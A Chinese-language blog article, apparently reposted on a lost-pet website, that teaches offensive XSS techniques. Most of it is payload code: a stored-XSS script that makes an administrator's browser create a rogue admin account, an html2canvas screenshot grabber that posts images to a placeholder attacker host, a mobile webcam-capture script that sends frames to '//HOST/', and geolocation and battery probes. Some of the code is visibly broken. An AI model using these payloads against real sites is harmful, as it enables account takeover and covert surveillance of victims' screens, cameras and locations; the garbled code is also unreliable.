search
尋找貓咪~QQ 地點 桃園市桃園區 Taoyuan , Taoyuan

XSS漏洞的滲透利用另類玩法

今天就來講一下大家都熟悉的 xss漏洞的滲透利用。相信大家對xss已經很熟悉了,但是很多安全人員的意識里 xss漏洞危害只有彈窗或者竊取cookie。但是xss還有更多的花式玩法,今天將介紹幾種。

xss滲透添加管理員

後台觸發存儲型XSS,網站設置http-only,竊取的cookie無效。那麼如何在這種情況下利用xss漏洞。

無法獲取cookie,但是我們可以利用xss漏洞,以管理員的許可權,添加一個新的管理員。沒錯,就是讓管理員給我們加一個高許可權賬號。

這裡我們會用到 JavaScript和Ajax 技術。 利用xmlhttp 發送一個http請求,在後台發送一個添加管理員的post請求。

var request = false;
if(window.XMLHttpRequest) {
request = new.XMLHttpRequest;
if(request.overrideMimeType) {
request.overrideMimeType('text/html');
}
} else if(Window.ActiveXObject) {
var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
for(var i=0; i<versions.length; i ++){
try{
request = new ActiveXObject(versions);
}catch(e){}
}
}
xmlhttp = request;

add_admin;
function add_admin{
var url = "/admin/admin_add_user.php"; //添加用戶請求地址
var params = "username=xss&passwod=123456&[email protected]&submit=1" //添加用戶post數據
xmlhttp.open("POST",url,true);
xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
xmlhttp.setRequstHeader("Content-length",params.length);
xmlhttp.setRequstHeader("Connection","close")
}

xss截取客戶的屏幕

現在隨著技術的進步,前端技術支持的面非常廣泛。xss漏洞可以利用html5的 canvas 來進行屏幕的截屏功能,類似於遠程控制木馬查看對方屏幕功能。這個可以大大的提高對於進一步入侵的信息收集。廢話不說直接上代碼。

這裡需要用到一個js庫 html2canvas.js

document.write("<script src="html2canvas.js\><\/script>");

window.onload=function{
html2canvas(document.body, {
onrendered: function(canvas) {

//下面開始把抓取到的屏幕圖片代碼傳輸和接收,由於代碼非常的長,只能使用post
xhr=function{
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest;
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){

}
}

return request;
};

request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //發送POST數據
return xhr.responseText;
};

attack_a = function{
var src = "http://xxx.com/xss.php?"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL; //post欄位名稱為screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};

attack_a;

}
});
}

上面的代碼是針對 pc端的截屏,手機端的截屏xss代碼有所不同

<script>
d=document;
v=d.createElement('video');
c=d.createElement('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play},function{});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL)';
setInterval(x,5000);
</script>

這兩種服務端獲取到的post數據包是 base64格式的 ,我們只要進行轉碼即可看到對方的屏幕截圖。

xss對移動端的滲透

現在越來越多的人喜歡用手機查看網頁,xss針對手機端的支持也很友好。

這裡只針對手機端Firefox瀏覽器說明。

xss獲取對方經緯度代碼

<script>

navigator.geolocation.getCurrentPosition(function(p){

alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})

</script>

xss獲取電池狀態的代碼,這裡需要用到JavaScript Battery API

<svg onload=alert(navigator.battery.level)>

<svg onload=alert(navigator.battery.dischargingTime)>

<svg onload=alert(navigator.battery.charging)>

下面閱讀原文有啥



熱門推薦

本文由 yidianzixun 提供 原文連結

寵物協尋 相信 終究能找到回家的路
寫了7763篇文章,獲得2次喜歡
留言回覆
回覆
精彩推薦